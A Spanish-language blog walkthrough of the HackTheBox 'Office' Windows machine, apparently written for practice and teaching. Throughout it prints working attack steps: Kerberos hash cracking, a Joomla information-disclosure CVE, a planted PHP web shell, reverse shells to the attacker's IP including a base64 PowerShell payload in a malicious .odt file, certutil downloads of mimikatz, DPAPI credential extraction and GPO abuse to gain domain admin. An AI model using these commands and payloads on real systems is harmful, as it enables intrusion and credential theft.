Skip to main content

Command Palette

Search for a command to run...

Office - HackTheBox

Resolución de la maquina Office de HackTheBox

Updated
11 min read

Hola, tenemos un CTF mas y windows 👀

Nacho Libre Eating Bread GIF | GIFDB.com

Descripción de la maquina.

Sistema OperativoWindows
DificultadDifícil
Lanzamiento17/02/2024
Creador0rii
Primer UsuarioNLTE
Primer RootL1nvx

Enumeración

Empecemos con un escaneo de puertos y servicios.

sudo nmap -p- -sS --min-rate 5000 -n -Pn -sVC 10.10.11.3 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 19:45 CST
Nmap scan report for 10.10.11.3
Host is up (0.096s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Home
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-generator: Joomla! - Open Source Content Management
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-06 09:46:37Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: 2024-07-06T09:48:09+00:00; +8h00m08s from scanner time.
443/tcp   open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-06T09:48:10+00:00; +8h00m08s from scanner time.
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: 2024-07-06T09:48:09+00:00; +8h00m08s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-06T09:48:10+00:00; +8h00m08s from scanner time.
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
55557/tcp open  msrpc         Microsoft Windows RPC
55560/tcp open  msrpc         Microsoft Windows RPC
65434/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
65439/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-06T09:47:30
|_  start_date: N/A
|_clock-skew: mean: 8h00m07s, deviation: 0s, median: 8h00m07s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.28 seconds

Tenemos bastante información que procesar, por ahora empezare declarando el dominio office.htb en mi /etc/hosts

Debido de los servicios DNS, Kerberos, LDAP y otros, podemos intuir que estamos frente a un controlador de dominio.

Aun que lo podemos confirmar esto obteniendo mas información sobre el servicio SMB con netexec, sucesor de CrackMapExec.

Mientras seguimos con la enumeración de la maquina, dejare ejecutando la herramienta kerbrute en busca de usuarios validos.

kerbrute userenum --dc 10.10.11.3 -d office.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

2024/07/07 19:06:00 >  [+] VALID USERNAME:     administrator@office.htb
2024/07/07 19:07:42 >  [+] VALID USERNAME:     Administrator@office.htb
2024/07/07 19:08:49 >  [+] VALID USERNAME:     ewhite@office.htb
2024/07/07 19:08:49 >  [+] VALID USERNAME:     etower@office.htb
2024/07/07 19:08:49 >  [+] VALID USERNAME:     dwolfe@office.htb
2024/07/07 19:08:49 >  [+] VALID USERNAME:     dmichael@office.htb
2024/07/07 19:08:49 >  [+] VALID USERNAME:     dlanor@office.htb
2024/07/07 19:40:28 >  [+] VALID USERNAME:     hhogan@office.htb
2024/07/07 19:47:00 >  [+] VALID USERNAME:     DWOLFE@office.htb

Continuemos visitando la web.

Gracias a la extensión Wappalyzer nos podemos dar cuenta que estamos frente a Joomla, un CMS.

Le dejo este articulo si desea conocer mas sobre la seguridad de Joomla: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla

Use la herramienta droopescan en busca de información.

./droopescan scan joomla --url http://office.htb

Como podrá notarlo tenemos una URL con mas información sobre Joomla, como la versión en uso.

Con esta información podremos consultar con Google en busca de vulnerabilidades descubiertas.

Y no tardaremos en encontrar este CVE-2023-23752.

CVE-2023-23752

Esta vulnerabilidad se debe a una verificación de acceso inadecuada que permite eludir la autenticación y obtener información sensible del sistema, como las credenciales de la base de datos MySQL en texto plano.

De tal forma que solamente consultando algunos puntos finales, tendremos unas credenciales de la base de datos y unos datos extras como el usuario administrativo del panel de Joomla.

Debido a que no tenemos acceso al servicio de la DB, verifique las credenciales en:

  • Login de office.htb

  • Panel administrativo de Joomla

Pero no tuve éxito, así que prove si algún otro usuario del DC utiliza la misma contraseña con netexec

Y si, dwolfe recicla la contraseña, dicho esto consulte si este tiene acceso a recursos compartidos.

Y los tiene, resulta interesante la carpeta SOC Analysis

Esta contiene un .pcap que vamos a descargar a nuestra maquina y analizarlo con Wireshark

Dentro de Wireshark->Estadísticas->Puntos finales, tenemos una tabla con todas la comunicaciones capturadas y vemos que la IP 10.250.0.30 es la mas relevante del todo el .pcap debido a la cantidad de paquetes capturados.

Tenemos otro apartado interesante de Wireshark->Estadísticas->Conversaciones, las cuales hace alusión a su nombre, no hay mas... El punto de esto es que vemos una comunicación con la IP 10.250.0.41 que claramente pertenece a la misma red que 10.250.0.31

Haciendo doble click sobre este, Wireshark nos filtra todos sus paquetes capturados, aquí podemos ver un par de paquetes AS-REQ.

AS-REQ (Authentication Service Request) es un tipo de mensaje en el protocolo Kerberos, utilizado para la autenticación de usuarios y servicios en una red.

  • El mensaje AS-REQ es parte de la primera etapa de autenticación inicial.

  • El mensaje AS-REP es la respuesta del KDC ante la petición de un mensaje AS-REQ.

Mencionado esto, dentro de las múltiples datos y objetivos que tiene este AS-REQ viaja el hash NTLM del usuario quien firma la solicitud.

Por lo tanto vamos a inspeccionarlos.

Si bien en uno de los paquetes no tenemos nada, en el otro efectivamente tenemos un hash NTLM del usuario tshark.

Después de pasarme por este articulo, que recomiendo totalmente, menciona el como puedes tomar el hash que tramita en el paquete AS-REQ para intentar romperlo con hashcat.

https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/

Así que vamos a hacerlo.

Tomaremos el hash prestado y le agregamos unos parámetros, para que hashcat puede reconocer el hash.

#Parametros: $krb5pa$18$tstark$office.htb
$krb5pa$18$tstark$office.htb$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
hashcat hash.txt /usr/share/wordlists/rockyou.txt

No tardara mucho cuando ya tendremos la contraseña playboy69, ahora solo queda corroborar que las credenciales sean validas con netexec

Son validad, continuo con la enumeración de carpetas compartidas pero no tenemos nada.

Aun que si aplicamos esta contraseña playboy69 con el usuario Administrator (descubierto gracias al CVE-2023-23752) podemos ingresar al panel administrativo de Joomla.

Dentro de esto tenemos la posibilidad de modificar los archivos .php que se alojan en la web, desde System->Site Templates->Cassiopeia Details and Files.

Aquí se nos mostrara todo los archivos, solo sera cuestión de tomar uno, por ejemplo el index.php y dejar el siguiente código:

if($isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}

Para ejecutar comandos desde el navegador, como en la siguiente imagen.

Ahora para establecerme una shell reversa, utilizamos RunasCs.exe

Para esto me descargare el RunasCS.exe a mi maquina, alojarlo en un servicio web con python y descargarlo en la maquina victima con certutil.exe

De tal forma que con la credenciales de tshark podemos hacer uso de RunasCs para establecer una shell.

C:\programdata\r.exe tstark playboy69 cmd.exe -r 10.10.14.18:8001

Dentro de este usuario tendremos la primera bandera.

Escalada de privilegios

Observando los directorios de la maquina tenemos xampp.

XAMPP es un paquete de software libre, que consiste principalmente en el sistema de gestión de bases de datos MySQL, el servidor web Apache y los intérpretes para lenguajes de script PHP y Perl.

En la cual vemos que dentro de htdocs tiene algunas webs, como Joomla, pero tiene una llamada internal.

Vamos a ver donde se esta alojando la web de internal, para esto consultaremos el archivo de configuración de estas webs en c:/xampp/apache/conf/httpd.conf

La cual vemos que la web internal se aloja, justamente en localhost:8083.

Como no poder acceder a esta web directamente vamos a aplicar un Port-Forwarding con Chisel.

Para esto descargue una copia del binario en su formato .exe y lo aloje en mi maquina para ser descargado en la maquina victima.

python3 -m http.server

En nuestra maquina descargamos una copia del binario y lo ejecutamos en modo servidor.

./chisel_1.9.1_linux_amd64 server --port 8083 --reverse

Ahora en la maquina windows, nos conectamos al server de nuestra maquina para establecer la conexión.

.\c.exe client 10.10.14.18:8083 R:8083:127.0.0.1:8083

De tal forma que visitando nuestro localhost:8083, tendremos la web internal de la maquina.

Dentro de los apartados de la web tenemos un formulario en el cual podemos subir un archivo, pero no cualquier archivo.

Vamos a probar si funciona el formulario, creando un archivo .odt vació y enviándolo.

touch test.odt

Bien, pero, hay una situación ¿Donde de guardo el archivo?

Dentro de las carpetas y archivos de la web internal tenemos la carpeta applications

Que curiosamente el usuario PPotts es dueña de esta, y cada ciertos minutos los archivos de esta carpeta son borrados, sera que ¿El usuario PPotts los inspecciona antes de eliminarlos?

CVE-2023-2255

Cabe destacar que la maquina cuenta con LibreOffice instalado, esto lo puede saber consultando la carpeta C:\Program Files y no se ve ningún rastro de Microsoft Office.

Por lo tanto aquí es donde entra el CVE-2023-2255.

CVE-2023-2255 es una vulnerabilidad en LibreOffice que se relaciona con el control de acceso inadecuado al cargar enlaces externos sin la intervención del usuario. En el contexto de una ejecución remota de código (RCE, por sus siglas en inglés), esta vulnerabilidad podría facilitar que un atacante ejecute código arbitrario en el sistema de la víctima mediante la creación de un documento malicioso.

Para ejecutar código en la maquina, debemos crear un archivo .odt con un payload, para esto usare el siguiente script en python el cual nos permite crear el archivo .odt e indicarle que comando queremos ejecutar, mi comando sera una pequeña shell reversa, que he generado con https://www.revshells.com/

python3 CVE-2023-2255.py --cmd "cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA4ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" --output doc3.odt
#File doc3.odt has been created !
rlwrap nc -lnvp 9001

Ahora solo subimos el archivo mediante el formulario y estaremos dentro con el usuario ppotts

Explorando la posibilidad de que en la cuenta actual tenga alguna credencial guardada, mediante cmdkey, tenemos la del usuario hhogan

Obteniendo información del usuario hhogan tenemos que pertenece al "Remote Management Use", es decir que si obtenemos sus credenciales podremos conectarnos por WinRM.

Ademas pertenece al grupo GPO Managers, una vía potencial para la escalada de privilegios.

Así que para recuperar las credenciales del usuarios hhogan, aplicaremos lo siguiente.

DPAPI almacena las credenciales aquí, a nivel del sistema.

Las claves maestras para estas, se almacenan aquí:

El desafió de esto es que la clave maestra esta cifrada con la contraseña del usuario (hhogan) cosa que no tenemos, aunque en este: Operational Guidance for Offensive User DPAPI Abuse muestra como descifrar la clave maestra sin la contraseña, usando el llamado de MS-BKRP (Protocolo remoto BackupKey) y podemos abusar de este fácilmente con mimikatz.

Así que descargue una copia de mimikatz.exe y la envía a la maquina victima con certutil.exe

certutil.exe -f -urlcache -split http://10.10.14.18:8004/mimikatz.exe

Pasamos la llave maestra con mimikatz y la bandera /rpc para extraer la clave.

.\mimikatz.exe "dpapi::masterkey /in:C:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" exit

La clave está en el apartado de key, “87eedae4c65e0db…”.

Ahora de los tenemos tres directorios los cuales iremos probando para saber cual de estos contiene las credenciales.

.\mimikatz.exe "dpapi::cred /in:C:\users\ppotts\appdata\roaming\microsoft\credentials\18A1927A997A794B65E9849883AC3F3E /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166" exit

En el directorio "18A1927A997A794B65E9849883AC3F3E", no obtuve respuesta, pero en la siguiente si lo tuve.

.\mimikatz.exe "dpapi::cred /in:C:\users\ppotts\appdata\roaming\microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166" exi

En donde podemos ver la contraseña en texto claro, ahora solo nos conectamos por WinRM

evil-winrm -i office.htb -u hhogan -p 'H4ppyFtW183#'

Ahora recordemos que el usuario hhogan forma parte de GPO Managers, la cual podemos abusar de este para elevar nuestros privilegios.

Tenemos un script el cual nos facilita hacer algunas de la siguientes ataques.

Después de descargar el script en la maquina victima, abusare del ataque AddLocalAdmin, que nos permite agregar a un usuario que forme parte del administradores.

De tal forma que lo haremos con el siguiente comando.

 C:\Users\HHogan\Documents> .\gpo.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Policy"

Para que se aplique este cambio se debe de actualizar la GPO, para esto hhogan tiene permisos para ejecutar gpupdate /force, actualizando de manera forzada la GPO.

Ahora solo nos desconectamos del WinRM y nos volvemos a conectar, podremos ver que ya somos parte del grupo de administradores.

De tal forma que podemos leer la ultima bandera.

Baila esqueleto bailando GIF - Encontrar en GIFER


Referencias

  1. 0xdf - HTB Office